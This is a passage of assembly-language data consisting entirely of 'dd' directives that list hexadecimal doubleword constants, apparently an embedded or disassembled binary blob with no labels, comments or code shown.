		dd 72F0C041h, 0C3D738E2h, 3CAD68D0h, 9CFD1DF8h,	130EC800h
		dd 4C2082D2h, 3D67EC2h,	29A44608h, 0DD81866Ch, 4E84308Dh
		dd 0C1870204h, 80AF4Ah,	0EED0F95Dh, 98FE0E8h, 76819EEFh
		dd 80111804h, 9F065B50h, 0A8264B07h, 60EB87CAh,	903AACh
		dd 0B512A5FBh, 83CB35E6h, 516ED801h, 5D0F4110h,	5F6001F3h
		dd 0D98D1AB0h, 8F10BD8Bh, 3F396549h, 7AD18239h,	0F8F1BBCCh
		dd 0F0A4A40h, 1480E668h, 9B3AF770h, 3490DE00h, 0A73FC4D6h
		dd 3DB1385h, 8C5030CAh,	0F5F05073h, 0ADC84700h,	0EE3FDC32h
		dd 0B3530086h, 5D74F0BEh, 30014E18h, 8AFA6C4Dh,	0B5D3903Dh
		dd 8E7FF180h, 7E07000Eh, 4E942B8Ch, 0CF00853Fh,	0EEB7A9B4h
		dd 701B05E8h, 8CC5176Eh, 8DFC0020h, 0A4F2064Ah,	14D0213Ah
		dd 0CCDDC2h, 0AF7D180Ah, 0BACD85h, 0F686BCA3h, 6428F37Ch
		dd 7543959h, 196D02F1h,	70D0A527h, 3D59D7h, 4A9206BFh
		dd 0B9CC43E1h, 92967E3Eh, 3400AA39h, 3055E33Ch,	13B0B6EBh
		dd 0C04B04D3h, 0D8B3A7h, 191BD973h, 1F5ED462h, 26EDA8Ch
		dd 87BE3357h, 42DDE8A0h, 1901F048h, 417D312Eh, 4C70492Dh
		dd 3D79D3h, 0EE4D2961h,	0B81C0E63h, 95DD0500h, 53A7ABDAh
		dd 9D780DF8h, 44F0D63Ch, 0FA1C881Ah, 0B7C80406h, 7B610A52h
		dd 1B9900F3h, 53CEF5BAh, 7A005FAFh, 71EF9740h, 6E6832h
		dd 0C4DDCAA0h, 908C7382h, 0C224E003h, 0B38D4D1Eh, 0AB4F88D8h
		dd 6C7900E3h, 771296E9h, 0EE000476h, 0E4A671E6h, 0A19878Ch
		dd 86534783h, 0C75680C4h, 9EC26CB1h, 0F92FFC00h, 40283A4Dh
		dd 0FE6F0014h, 8DD1D368h, 4C12390Eh, 0C20060D0h, 0FD7126ECh
		dd 0B4DE0F5Eh, 817E8735h, 6CA453BCh, 70C4406Eh,	0BC960111h
		dd 4AAE219Ch, 5D609D00h, 0DD9E78h, 0E18329B2h, 0C7259DCh
		dd 73003BFCh, 61AF4E8Bh, 4D70567Ch, 0EA00A41Eh,	81F691B4h
		dd 7D00FD9Fh, 28BA0A86h, 0BD9D558h, 0A5C96AC6h,	0B1CD0000h
		dd 6E5D18F7h, 84670094h, 30905CD2h, 0E74000CEh,	758F7B6Fh
		dd 89795928h, 6122401h,	1A9180B8h, 8B22470h, 4FE62CC4h
		dd 0D2F6BB00h, 4DE71F1h, 0BAD1625Eh, 330CD0AAh,	5F07A41Fh
		dd 0A2412119h, 5C6D2250h, 597700EDh, 3D5BFA14h,	133854E3h
		dd 20F22602h, 90689488h, 3FDD85EBh, 76364D0h, 32C0090h
		dd 24545EA9h, 0D00C9FD1h, 7865DB8Fh, 57E01E58h,	0A74C00FDh
		dd 1FAD9486h, 93DD8C00h, 32B682CFh, 180C049h, 0EDDB0805h
		dd 55059874h, 0B07B2E78h, 9AC880C1h, 0CB94A11h,	6DFF00A6h
		dd 6F51DB7Ch, 7D07F3E2h, 9809B3D7h, 8C44E190h, 0BC54393Bh
		dd 4AE7A600h, 552A77D5h, 0C5F45F09h, 0D2348048h, 0B89BE351h
		dd 0C71B00DCh, 0FC0D499Dh, 8400AB19h, 3771BACFh, 755A61Fh
		dd 0DB896D54h, 57804053h, 9307B2BCh, 7BB1334Eh,	8B95FA00h
		dd 0C1EC3Eh, 469F798Ch,	3216A008h, 8367253Fh, 0B65F8A6Ch
		dd 0F3B3A7D9h, 1D77E80Ah, 151824BFh, 911706F4h,	0AB4F20EEh
		dd 98401C1Fh, 0D541FF7Ch, 853600A0h, 4CCDF80Bh,	0F90768B1h
		dd 675DE875h, 9EFB61D0h, 0A1981ECFh, 0E2081D6h,	305ADDE4h
		dd 4D093908h, 0A7D38757h, 0CFE21C50h, 0D8F84B86h, 1815AF2Fh
		dd 646E2396h, 4899B650h, 165362h, 8C6E083Fh, 4514380Fh
		dd 40D04FBEh, 0F3BB295Ah, 0DE5C0036h, 421A46A7h, 4F6FBD2Fh
		dd 2205C139h, 0E4E0357Dh, 0CEB8009Ch, 0D0119FB5h, 0F7482164h
		dd 78BE0290h, 0C0B29252h
		dd 0BCA6A8D8h, 46A2C02Ch, 5F581E94h, 180102C6h,	0C2BED30Ch
		dd 3CF050C9h, 1A25CE17h, 2F97A060h, 84564328h, 4122BC00h
		dd 4DC27247h, 1EB97B66h, 1C69769Dh, 0E30D40A0h,	72CD9AFBh
		dd 6AFAE1Fh, 8535CC0h, 7EE4C08Eh, 0FFF7050Ch, 0C14F818Ah
		dd 0D8CB3EFEh, 7AEA1A30h, 269F8C00h, 4908047h, 0BA2A00D7h
		dd 6877F988h, 6B250CE0h, 0F458A215h, 6F0A1CBh, 0EDC43ED6h
		dd 35F4A6h, 314F8066h, 85C0B96h, 278C5A01h, 0A740E5F6h
		dd 0C541CCh, 70C25E72h,	0B8367DCEh, 28862300h, 0F251DD68h
		dd 9C2F482Bh, 7200813Bh, 0BCBE2D52h, 7A0011CBh,	43E307C9h
		dd 79BF3B2Ch, 6D73D3h, 0F84D035Dh, 8E1059F2h, 0E2B02A00h
		dd 0A6CB2302h, 77DC02C0h, 0C15D0C97h, 0A428FCE0h, 6E09E907h
		dd 2EF0DBCDh, 9E476B83h, 0A6B30298h, 3048C70Dh,	2EF2AC95h
		dd 25BE4600h, 0EBC36904h, 5C4E0051h, 7658455Bh,	0A40E4418h
		dd 8AF448h, 43D1D239h, 21423DE4h, 0F3B7A780h, 59D6411Ch
		dd 0EF96C216h, 1DB2CF07h, 576CD3B0h, 23B704D5h,	0C0DCBC85h
		dd 0A39A9C28h, 112548BAh, 4B306131h, 7E19AFE8h,	0A6D0009Fh
		dd 33441408h, 0DA0012FDh, 0EE9DB28Dh, 2677CA66h, 7B064F2h
		dd 201ABF06h, 73F39231h, 45A0A109h, 0E2BC5001h,	1FF200FDh
		dd 8C670EAAh, 0C57FCD62h, 0F0384D1Fh, 0E0E3F100h, 1ECD8E9h
		dd 80E8D737h, 30C7210Ah, 180058FCh, 0AB984D9Dh,	0D91419h
		dd 0FA151A39h, 4EDAC73Fh, 20787C25h, 0AA4A27C0h, 19C981Eh
		dd 0F9D991AFh, 2012389Eh, 497C0B0h, 90D00570h, 9902B3h
		dd 32AE6648h, 9653C008h, 3BEED47Fh, 3E28AC0Fh, 2C6981h
		dd 889EA4BCh, 0CA2B0327h, 0B546D6D1h, 0E73A80ADh, 8C00C3BAh
		dd 65E20EFAh, 5CB321h, 68A53539h, 32FB5859h, 60664C00h
		dd 8E9B19BDh, 0E3BC1C2Eh, 27DE001Dh, 620E1D4h, 0E589D8C0h
		dd 1670401h, 56A864F5h,	40B084EDh, 0B6E0E1A0h, 0CD407E09h
		dd 6D928735h, 5A0F2020h, 24334D77h, 8941905h, 8DBA80F4h
		dd 0F2500203h, 592C3FF0h, 0D383C807h, 82A0D19Ch, 285C34h
		dd 89118BF0h, 0D4017082h, 0F8F3A90Fh, 0DA605013h, 36B7C51h
		dd 0EA8E04Bh, 40C02F72h, 44B0FA05h, 0D74C3E10h,	7DFEE420h
		dd 0D9064316h, 0CC1B00FAh, 0C12B6AB2h, 4FA048h,	25D0977Fh
		dd 201853h, 45CBA952h, 0DD81EF3Fh, 0F429140Eh, 23FEA25Bh
		dd 7F7C404Bh, 0A9F23833h, 40786C18h, 2800A165h,	68DD24C3h
		dd 0FEC64BBh, 59C91A14h, 0AFE35C07h, 0E38066E9h, 0E85369D4h
		dd 624C1AFAh, 0B71604ACh, 0CCAC8AE7h, 15292600h, 0DA4448A6h
		dd 32051200h, 0FD348673h, 98C500C1h, 2DFB8D8Eh,	0AF000ADDh
		dd 2851A945h, 20D587Fh,	62E65565h, 0F6E08FE1h, 7A586107h
		dd 967B0074h, 0B854274Ah, 0DC7997h, 0C8E393DBh,	2F060CFAh
		dd 79DD5209h, 0C9C42024h, 2E141A2Ah, 0F3F592h, 99B1B258h
		dd 0F4267BEBh, 2D00B102h, 0A8961A34h, 0BB2101C7h, 0F3F98A06h
		dd 4C6AEE58h, 1825F080h, 0A526735Dh, 0F00148C3h, 6F09916Ch
		dd 34BC002Bh, 3E04DCF8h, 15024005h, 800F3142h, 0A08CEF1Eh
		dd 92CBFD51h, 87E89E67h, 9066A5E6h, 243CB41Bh, 262E0F79h
		dd 0A8007845h, 0D8D5FCBEh, 3C549043h, 0A50987DBh, 100497A9h
		dd 0C8C1229Bh, 5CCE959Ch, 7901A5h, 3686315h, 0C45DF94Eh
		dd 80345839h, 41CEF66Ah, 4C3BC6ECh, 16019C14h, 9C1B3F7Ah
		dd 25109E1Dh, 6237BF45h, 7D4B58C1h, 497DBD4h, 7B01B031h
		dd 89F7C042h, 66075311h, 9C7294Fh, 0AB3F52A0h, 37FC125Eh
		dd 0EEC90377h, 70EF3558h, 11C299B7h, 8F95C47Bh,	0E0BA8E68h
		dd 630FF58Dh, 303E0067h, 0C6CF54ACh, 0E0016C2Bh, 0C03D5395h
		dd 13E8C16Bh, 234E001Bh, 499F1FC2h, 261E47F8h, 0F6419AC4h
		dd 44BFA7Dh, 1CD1B460h,	0C30C6D86h, 1C52AA19h, 7A38B094h
		dd 0A0AFA804h, 1CBC92B5h, 0C835138h, 829BF8E3h,	41D2B790h
		dd 7F3D3300h, 0A12254DCh, 628A0708h, 0F0018DF9h, 0E83CF350h
		dd 9667B83Eh, 0F8007068h, 31250D6Ch, 584813EBh,	0D2084B06h
		dd 3E10F403h, 0D40A1100h, 5AA40429h, 9805A26h, 6000CCE0h
		dd 0E542F032h, 0E8058A01h, 5335655Fh, 0C056E0h,	0A33B25B8h
		dd 542B7416h, 93333D3Dh, 0B500AF65h, 0F6251896h, 0B4CB0403h
		dd 0B92A664Fh, 857E007Ch, 7DC65CADh, 42CB01Eh, 426B2553h
		dd 0E794F0CAh, 0E9340A00h, 0E85041AAh, 0C15A00AFh, 28D50766h
		dd 0D0093CFh, 8436EE10h, 2C8D8364h, 0A8AADEh, 79A0019Dh
		dd 62015AB3h, 671D2B75h, 4BFC7035h, 56230C2Dh, 0A31034DEh
		dd 1FD5A503h, 0DDB720AEh, 12659C03h, 62313C9Eh,	0B2C7158Fh
		dd 0D5D380FEh, 3E4C2C1h, 0EF466A00h, 5C0810AEh,	0F77001Ch
		dd 53D451B3h, 0B9006238h, 0DD065A88h, 0ED3B29Fh, 23540515h
		dd 0CC8E4EC0h, 70003C9Dh, 5E4AAC56h, 1A888C5h, 22524813h
		dd 70B7B307h, 90002371h, 531E5033h, 0F3D8115h, 6529FB36h
		dd 9DB878E0h, 0C018EC22h, 0BC41EB21h, 904A583Ch, 79FBF700h
		dd 7E42881Eh, 0EA9D2800h, 0AD63D6E7h, 43C80F84h, 18A01AF4h
		dd 0B2032A09h, 0F25AB01Ch, 0CE1F02C0h, 0E58EC86h, 772A2BEh
		dd 0AE001CCEh, 9B3B7F8Ah, 0F2652600h, 0CC159063h, 0F82C389Ch
		dd 0F5FD3EFBh, 0D0807BBAh, 914749AFh, 8008993h,	0E0C506B2h
		dd 76FED9Eh, 755C55ECh,	5001B088h, 5E00A431h, 0A0025712h
		dd 0C1E9CFh, 368CCE35h,	6E4421EDh, 89B938h, 2D3BFF91h
		dd 4F736Bh, 36F8EE3Ch, 6C1E9564h, 0B32BF000h, 41BE3028h
		dd 0A405019Fh, 1FF92DDDh, 0E1E0C223h, 0D8FA32EDh, 0C7BCAF00h
		dd 6DE13368h, 35D902D7h, 69B405D4h, 0A1D060C0h,	8504931Ch
		dd 58DFC080h, 2C6596E2h, 2330584h, 1CB1E3ABh, 7404B45Eh
		dd 90BC754Eh, 240CC04Ah, 97011A2Dh, 40AB1E2Fh, 0A3CC2EA6h
		dd 434500C9h, 0F086BCF9h, 0BE016EC8h, 0CA5016DFh, 1AFC7B98h
		dd 7E8E675h, 0D795665Ch, 10AF906Ch, 0B10B4A79h,	0A074EFE2h
		dd 2F21F600h, 724D035Dh, 66247C06h, 1308180Fh, 0BE9D030Eh
		dd 7B103C61h, 514E0C00h, 845D90DEh, 0F97C30F6h,	0BD98B23Eh
		dd 47EF0015h, 0E66411AFh, 0F5E3002Eh, 0DE1F2D89h, 2F0020A0h
		dd 3F4A9057h, 0EA97241Eh, 323E1F21h, 65A000FDh,	677A769Ch
		dd 806F6A3Bh, 62B61A94h, 0BE357Bh, 51FE4BBAh, 0EEE1725Dh
		dd 98487409h, 0D7FCC0DCh, 0B5473A9Fh, 159E0F03h, 82CB3188h
		dd 0B013582Ah, 0A8A29900h, 600E1AFBh, 0C637473h, 2DD2E16Ch
		dd 4B001620h, 0E5111406h, 730AAEAAh, 1978003Ah,	7080D56Fh
		dd 1B00B0EDh, 2CB5F6FFh, 34A2F62h, 96288C25h, 0F0F7E068h
		dd 89E9AD35h, 80885C3Ah, 518D435Fh, 370155h, 877A123Ch
		dd 78F3F1E9h, 476AD41Ch, 45764180h, 3192CAh, 0B6CE210Fh
		dd 5A894AEEh, 4F3FEF12h, 9E370400h, 0D13065h, 0C85B85FFh
		dd 2022DEF9h, 5240B000h, 27C7F028h, 1E5A3C65h, 6A548707h
		dd 84617017h, 0AB005D40h, 0F8CBED33h, 0E6992BD0h, 75571F8Ah
		dd 3E34056Fh, 0AD845437h, 0CA085A00h, 9881A3D1h, 0DB4AC024h
		dd 9EEF3000h, 1861F7h, 5F8EA294h, 0D6AA097h, 0FF621709h
		dd 0C12C207Ch, 5F0AF68h, 5F1B5AB6h, 0EF36C013h,	3D607828h
		dd 75FA4768h, 14F2E816h, 403F0C6Ch, 368FD60Bh, 4551D03h
		dd 6E809DD8h, 77F8CD02h, 0E0E36273h, 427D3DEh, 4B4913D7h
		dd 60B0F0BBh, 47E1BA0Fh, 5EFC62D5h, 0DCF4C055h,	43F26Ch
		dd 0BEC6616Bh, 0D4E16DC7h
		dd 77A6F901h, 0F7C9A802h, 3ACFAE0h, 0D8E363CBh,	4BC8AE4Ch
		dd 20921AA9h, 93D14E00h, 97CB3F95h, 31A100C1h, 0CC660996h
		dd 627BC854h, 139E2902h, 0A07B5635h, 2536E084h,	1CFAA5h
		dd 1D77DBE1h, 16722FAFh, 560FE500h, 3A5946A9h, 0A0BF0A22h
		dd 0E1841Fh, 0FEAA8AF6h, 9DB8AFBBh, 3841F909h, 2F18B43h
		dd 0DD2B038Ch, 918D2300h, 6AE83A9Eh, 7C4ED500h,	0B58958F0h
		dd 41BC3C82h, 0F280D000h, 305D2E74h, 0CABA5F00h, 73CB2B0Bh
		dd 9FBC0035h, 802A50AEh, 0A53C4DD2h, 9AC88014h,	0A13EAA7Ch
		dd 0BE8500D4h, 5773BF51h, 0B23B8880h, 0A36D8048h, 0E06FB1CDh
		dd 0BE8A075Ah, 0A0A78BAAh, 4D9C726Bh, 0BA57DD03h, 0C0C2C077h
		dd 11544Eh, 2BE0E247h, 164C639Bh, 0B3805A02h, 8FBE9E1Ah
		dd 0AF049480h, 11B86B18h, 0BA076CB7h, 5D74299Eh, 174BA00Fh
		dd 77A547C0h, 0E6AB01B4h, 2AB76499h, 492990BDh,	0A2FFB282h
		dd 22207F04h, 45819FDFh, 0FC440E08h, 83328493h,	103151D0h
		dd 0E789FD42h, 0CF628C08h, 27010D29h, 0BB900891h, 48D20C84h
		dd 9B442F9h, 0C921CF24h, 10F512D6h, 0F1C4F416h,	3900FD23h
		dd 742C8662h, 0E042B500h, 67EDE1C8h, 0B3FA44h, 58878A52h
		dd 0D414F6EAh, 0F015000h, 0F869907Ch, 0E7F50044h, 2A2CEBA0h
		dd 0D5F0857Dh, 0B7B0E602h, 6018F607h, 12AF0B16h, 966A83h
		dd 3864740Ah, 24000239h, 3F18EE48h, 0A0BA3Dh, 9A32058Dh
		dd 0D2966629h, 7A40C538h, 9725Ch, 0F30CF4F9h, 0E2685Bh
		dd 4F04D297h, 0B119CB55h, 0D3492C0Eh, 80BEFDEEh, 0E31F0D22h
		dd 183D2A1Ch, 1006A22Fh, 0CA0883B6h, 1014A17h, 0A4BB027Eh
		dd 0CB29D018h, 657B8509h, 6C2021C2h, 6D304FC0h,	5A910192h
		dd 5B3442EEh, 0C4FCDC86h, 3E71CD07h, 0AE90662Eh, 7111224Eh
		dd 6890023h, 0C6B5B408h, 3800BFE3h, 1C3103B3h, 1D6DBEEh
		dd 0F4E43604h, 0E47F2D05h, 0CF182765h, 44789CABh, 0E9CD00D2h
		dd 0E406827Ch, 0FD00B4CEh, 0E8735BB1h, 75A8CAA5h, 0ACBA00A6h
		dd 0CF263F52h, 10C002E2h, 6A68B0DDh, 0D27A0E8Ah, 314EEA15h
		dd 630143E3h, 0B6B83CD3h, 8F003FBFh, 0E27EE188h, 9F344B2h
		dd 5D62CC8Eh, 0E3388E5Dh, 79F9E755h, 7995007Ah,	9D16898h
		dd 8C0050EEh, 635BBC53h, 7F344E6Fh, 25300185h, 29FF10DFh
		dd 0FDC88080h, 5851B4C2h, 157F0071h, 0AB18DD8Ch, 0CC091ED8h
		dd 85521F47h, 68800AA6h, 62252Fh, 3C2D6CA9h, 0E475B673h
		dd 0BDD81800h, 0B9F9B09Ah, 2CB3481Ah, 0E2573A09h, 5227FC80h
		dd 6A004C43h, 7F329705h, 78C2175Ah, 0EFEEB9h, 0D3569CF2h
		dd 86AA87D6h, 33905807h, 0D2402882h, 60A16Eh, 0CEC44E70h
		dd 0F03CF80h, 77FCA500h, 28195B87h, 0B5B23E99h,	682200F0h
		dd 311FD504h, 15009224h, 47D8B487h, 7DE7479h, 0ADAFB90Eh
		dd 0E4BCA007h, 85024ABEh, 839C6742h, 0C34860A3h, 0D5D400BDh
		dd 0AD326B0Fh, 751D4F94h, 9340E2F1h, 0C9173D42h, 106E2F6h
		dd 49A4C38Dh, 21D5239Bh, 7EA05088h, 5600AD54h, 7F34781Dh
		dd 0FED1594h, 9AD348E3h, 67229D00h, 0E898F94Bh,	3FB07907h
		dd 33002F8Dh, 9FAA42Bh,	6296787Ch, 428A3000h, 0BB72BDD5h
		dd 56BE3E30h, 1D278850h, 0CFFBD1E6h, 0DB255F06h, 5BF20092h
		dd 1146F0B9h, 96006E76h, 0DA896131h, 581DB4h, 6AA43D97h
		dd 4020928Ch, 0E09BA7Dh, 0D4FA047Bh, 0F23C48h, 187A9772h
		dd 7FDFBE98h, 9274A400h, 4E3E5735h, 0D8E0E1h, 6EC6AEDBh
		dd 54055BB0h, 0E2001479h, 916BF7EEh, 770A162h, 0BB26B152h
		dd 0FC10B01Ah, 2F002999h, 0DBAA897Dh, 1030E78h,	55045EB1h
		dd 802D2274h, 94A96DD8h, 636583h, 0B617DA6Eh, 4D35C9AEh
		dd 0EF05CE78h, 6B5CB411h, 61BBB800h, 1E2C0229h,	0C0FE7C26h
		dd 0F8F20F5h, 7B00F401h, 0B63703D3h, 58552h, 411ABD71h
		dd 0A3E7078Dh, 0C989A600h, 0DA77C76Ah, 18041469h, 74DEB2h
		dd 0C34C1BCAh, 387D9578h, 33119A00h, 156D2BF1h,	1B213BD9h
		dd 2F626C80h, 7BCE4E3Ah, 0A3D47412h, 0E8CBE000h, 1BBB84h
		dd 0D09D20Ah, 29A70BCEh, 0DA1AF200h, 13C9AF01h,	784C00BEh
		dd 7C2159D9h, 44908965h, 50976E00h, 80D7531Dh, 10FB00B0h
		dd 24C672D5h, 6D2C3F51h, 0D60088B2h, 0B736FD35h, 586245Fh
		dd 0A6C381E4h, 0CC01D4CDh, 0F0EA4F44h, 9F1FC700h, 9AB81306h
		dd 0DD6C00C0h, 0B3E5CBECh, 250005E7h, 0A30C8208h, 28B094CFh
		dd 0F880E60h, 34B3B1FAh, 872A8940h, 0A0982E91h,	0E1AD3Eh
		dd 0E31E9DF0h, 0E88FD505h, 0F87004h, 7BB1C6FDh,	0ABD925DCh
		dd 43941600h, 0DAB8BD91h, 8C230354h, 7533AE93h,	0E4903AD8h
		dd 0CC59A109h, 0A0C42F01h, 2E057EB3h, 0D8DE262Bh, 0A2D700E8h
		dd 45C9A7Ch, 0E832F3Fh,	60B3BD5Eh, 47D4FD72h, 0DFD10094h
		dd 8C60E328h, 5A00A538h, 1E05D279h, 6BF15Eh, 4DDA9675h
		dd 0EF475C71h, 0C03B1C90h, 4B0F81FFh, 1DDBB1C4h, 1F8F7EE8h
		dd 40305F6Bh, 0AF0C11FCh, 0A963E339h, 991DA1A0h, 676192E8h
		dd 867F5400h, 0AFC7687h, 23D1C66Bh, 0B6EC00B8h,	13A330F5h
		dd 1744E007h, 0A8E08B4Eh, 599B73h, 1A493982h, 8916FF53h
		dd 5C23100h, 0F4BE48Ah,	460C009Fh, 1E8434A4h, 7750A2D1h
		dd 191FBC8Fh, 0B99EE2A1h, 1340F0ECh, 16BDB51Bh,	5FC36Eh
		dd 0A3281246h, 4E009229h, 0D3DEB6B9h, 0C0A886F6h, 0ACE5A6C8h
		dd 9B0053ABh, 0FE16B44Ah, 0DFF4F8h, 9D70D235h, 0D08E8C84h
		dd 75AFFA5Ch, 69889600h, 4B6E5E77h, 0E7F83Eh, 0A0ACFD0Bh
		dd 0AF2CF9E8h, 2A50E8C0h, 4C2465DDh, 1900A48Fh,	0E89304B4h
		dd 0CE319D36h, 22561942h, 0EA92B0E4h, 9C350077h, 0A8D338A1h
		dd 72FA09D0h, 4B655407h, 2C80F64Fh, 26B6CACh, 11906926h
		dd 16C04C70h, 0AD008DDBh, 7C507F4Fh, 0AC0E64h, 0CFFBB55Dh
		dd 0DE3F6EC3h, 0EBD43024h, 80933E00h, 9D2A06h, 1EEDEAD6h
		dd 90DE9C5Ch, 4DE41900h, 0A466ECD0h, 0CC812CDh,	0E648008Ah
		dd 0AD5CACEh, 880ECFF2h, 200E29D3h, 0F75E9F91h,	0D1F50145h
		dd 3A6C6DBEh, 7DFECC7Ah, 0DC368D07h, 9570CB05h,	3F254912h
		dd 0A980C74Eh, 69C15CFh, 593D26BBh, 0DF2C00C1h,	2F0219DCh
		dd 0DB4A0BADh, 4420068Ah, 0F161EF0Ah, 3C79BF01h, 20DEAF3Fh
		dd 2C729DE4h, 3DE888DBh, 37B0D0h, 0A249BF7h, 1859EC85h
		dd 1A86650h, 21CF7B02h,	408B5514h, 0B60754h, 8279AA8Ch
		dd 83647F62h, 0D9944D05h, 3680FD9Ah, 8D859Bh, 0B256AB17h
		dd 0F4AEF342h, 7EA0E550h, 0F33BC00h, 79AB291Bh,	94C800FBh
		dd 0C7187085h, 6063F2D9h, 0F8A9E828h, 769BC59h,	38E178ABh
		dd 4FD44066h, 0CE001234h, 58FA4B83h, 725970h, 13448D11h
		dd 0B63BA1F9h, 0F200F4B8h, 0BF15D912h, 60B156h,	0E6748B62h
		dd 0EC2C653Ch, 0BB30D800h, 28B60C3Ah, 0DB0100F7h, 0A1C3B3DAh
		dd 4B005F9Bh, 3829724Ah, 1256FC13h, 8B9055h, 8E662454h
		dd 391FFE93h, 0F7CBDF35h, 0B1E58767h, 0F0B4C08Eh, 0C1AC80h
		dd 0B80A1848h, 0F5F9BCEAh, 0FAA31900h, 9CF87CBh, 0ED080263h
		dd 7172419Ch, 0E5D5CC83h, 1CDE09F4h, 0ED350E84h, 1A459A9Dh
		dd 4AC80087h, 67444876h, 3FEE4700h, 5E7055E3h, 24981Dh
		dd 318D5A92h, 0C93E1AEDh, 343F3Bh, 0E07B3A99h, 30664AFh
		dd 978798BAh, 6EB00F69h, 892C5A5Fh, 9B17E417h, 2049A50Eh
		dd 0B153229h, 0BBCD00DBh, 82A292E6h, 51023F9Ch,	0DEBFF028h
		dd 4E006929h, 0A0E8CC8h
		dd 0F6D443BCh, 42800A0h, 9EA8E8EEh, 0C400E4B0h,	5BB667EAh
		dd 1CD60DC6h, 447874CAh, 0C19A985Fh, 0D0E28DBAh, 69004A36h
		dd 0BE9B1D6Eh, 28786566h, 18C93ADh, 68587ED0h, 603C6A86h
		dd 190421F4h, 0EE9EDEF5h, 0CDD4ACD0h, 8B2E4407h, 0AC19800h
		dd 4CF9DC7Eh, 377D2Fh, 0E1A46779h, 55B8EC0Fh, 36F75A00h
		dd 122FB075h, 95C401E0h, 5EB59BCCh, 133C2054h, 0F3FED508h
		dd 0C0AA05EDh, 3CFC1418h, 32C93600h, 0F20BE3E9h, 2EA66601h
		dd 2650AA8Bh, 0ED7170h,	7C081CF4h, 5E308F6Bh, 0EF18A701h
		dd 0A9FFAE06h, 0B795E8h, 333C4D55h, 8EBB891Ah, 0B9E23C90h
		dd 1800524Ah, 0C3468AD8h, 5D891EAEh, 0AF1F0095h, 6E497F45h
		dd 250051E2h, 9E79AC6Bh, 4B312360h, 0B7800382h,	16CDE68Dh
		dd 7D3700A8h, 7D27A94h,	0FCEBC204h, 0A8D0BD6Fh,	2C3FA8CEh
		dd 14E7A4h, 84479888h, 0CC762F01h, 147A7500h, 0E1EEF3A6h
		dd 5B8CA0D7h, 93530068h, 73DEB7F7h, 6E0C2533h, 8149C0AEh
		dd 0D5EE00DDh, 9F513971h, 0BD046D35h, 0FEBACA38h, 33FFA1C1h
		dd 0EBD470h, 40F1FB1h, 0D4DC883h, 96905800h, 0BB378455h
		dd 0D0BA129Fh, 0A866001Eh, 745A07B7h, 44130300h, 42865724h
		dd 87043F01h, 0C15C9407h, 0B611D0DCh, 903B4715h, 46A500D2h
		dd 0A4FB0AF2h, 892C001Eh, 0FD9F0B1Bh, 0D7025196h, 5DA0F034h
		dd 87E46063h, 1E152782h, 6D9E3C80h, 0F498B551h,	3F5A1612h
		dd 92A93C80h, 31C10108h, 0CC68AFB3h, 486BD0E4h,	0FDB03013h
		dd 8A761400h, 50E9B62Ah, 79ECA0h, 83705D9Ch, 1BB0C546h
		dd 0FAB4DC00h, 4213C6CEh, 0D760Ah, 44CF043Fh, 0DFF19C30h
		dd 3CF3645Ch, 0C9268010h, 397F4238h, 2DA729Bh, 0B805FCDEh
		dd 0AB815C4Dh, 712E3776h, 0B2B08105h, 0E7193C5Bh, 0F4AC7DD8h
		dd 95F102C4h, 0B0D28C9h, 0F257B481h, 3DED60DAh,	334BBB00h
		dd 89218369h, 0E280BDB7h, 3B93F085h, 1304D00Bh,	2F4C001Ah
		dd 86C0A695h, 1082C907h, 0E450318Ch, 9CAD84h, 0ECE9643Ah
		dd 5A0BC4A4h, 801BEF39h, 462E5F82h, 13694EC0h, 0C4BA0D51h
		dd 8A6980F8h, 0EE04435Ch, 0C3A45BEAh, 0A1A3F2C3h, 0B8F0C1D7h
		dd 2B0E05D1h, 0A053124Eh, 8626F3B8h, 2C800C83h,	0C9D1F218h
		dd 1BA90EC7h, 0CCE5B3ECh, 82F60AA8h, 0DDE200D4h, 8DF14493h
		dd 3B785A4Ch, 0E3AC801Eh, 0CDC9D667h, 487B01E8h, 0F336EB0Eh
		dd 3B32E409h, 63EF2A00h, 0CCF0F6E7h, 85D10B1Dh,	0C880533Ah
		dd 49172634h, 89C90612h, 6E5D1C00h, 0AFF352h, 0F2B51ED1h
		dd 3848B83Ch, 7E5Dh, 6BDE34B3h,	8E2331h, 0CF49038Ah, 1E0FDC93h
		dd 0B804DB0Eh, 5121A239h, 2847DC98h, 0F3DA0B80h, 6C000C83h
		dd 6F26C2CCh, 9012E100h, 0B8E26E6Ch, 0B70E0350h, 8CBD61C1h
		dd 2A47C3A9h, 0F3D15800h, 26658E26h, 9E148358h,	22BA1D7Dh
		dd 27CBACA8h, 58A235Ch,	4CCFE1BBh, 701BF5C0h, 7C493B58h
		dd 9F00CCCCh, 45384A48h, 0C900F1BEh, 0CF0C7A5h,	1F87A9F9h
		dd 44FE300Eh, 0D5CC6399h, 449180ECh, 70EAE2F4h,	0B600A490h
		dd 68A34BC3h, 189A51BAh, 6171293Ah, 0A000D4CEh,	0B539BF52h
		dd 78E72EDh, 0B044F173h, 0B0F305Bh, 6A90800Ah, 5A00F27Ch
		dd 3A798298h, 0E891A7A1h, 0DC0700AEh, 0EA4D107Ch, 380016C1h
		dd 5D3585FAh, 72FB496Dh, 370800B8h, 8357D33Bh, 2B007386h
		dd 8F9F07B6h, 1F1E33Dh,	253CED4Dh, 0C03E4882h, 6400DBABh
		dd 5906512Dh, 976B83h, 86D236A6h, 44CD4230h, 38B31B05h
		dd 6B802F87h, 0DD8A88h,	0D2A62966h, 0FC75E319h,	0D61FF917h
		dd 0BD0B8400h, 0B0BB54h, 52E54A7Dh, 0C5B2F531h,	0D7DD1400h
		dd 0FCA2B4FFh, 96DC01EAh, 0AC470C2Ch, 803ADD31h, 74B8DF81h
		dd 9E4D99h, 0F5D9A7F0h,	4C42DAD5h, 55AA6A00h, 0B6577787h
		dd 8D402495h, 628400F6h, 0D1A50786h, 6B2E5A05h,	8C01BA6h
		dd 88AAC3h, 0B517160h, 85E3330Dh, 9A0015B0h, 87647ABAh
		dd 0FE324069h, 505900C4h, 909EFB4Dh, 0ED0028C8h, 22A0D3C1h
		dd 0F3042Eh, 0EF84FACDh, 4C8031D2h, 5F5D0800h, 5A07A1Dh
		dd 90DA094Fh, 618051F7h, 5A851F8Eh, 0E4DE8300h,	15013368h
		dd 7DFD00E0h, 0D5EC3D7h, 89033096h, 2588EE62h, 876198D3h
		dd 90C900A2h, 39DE243Ah, 0E603F522h, 0C247162Ah, 0BFEC9D0h
		dd 7290D1DCh, 0A4D600BFh, 0B19BCF2Ch, 4C0015C6h, 0D587B4BDh
		dd 0F2FF63h, 3712E2E3h,	60AA8D2Ch, 509AA907h, 0F97B723h
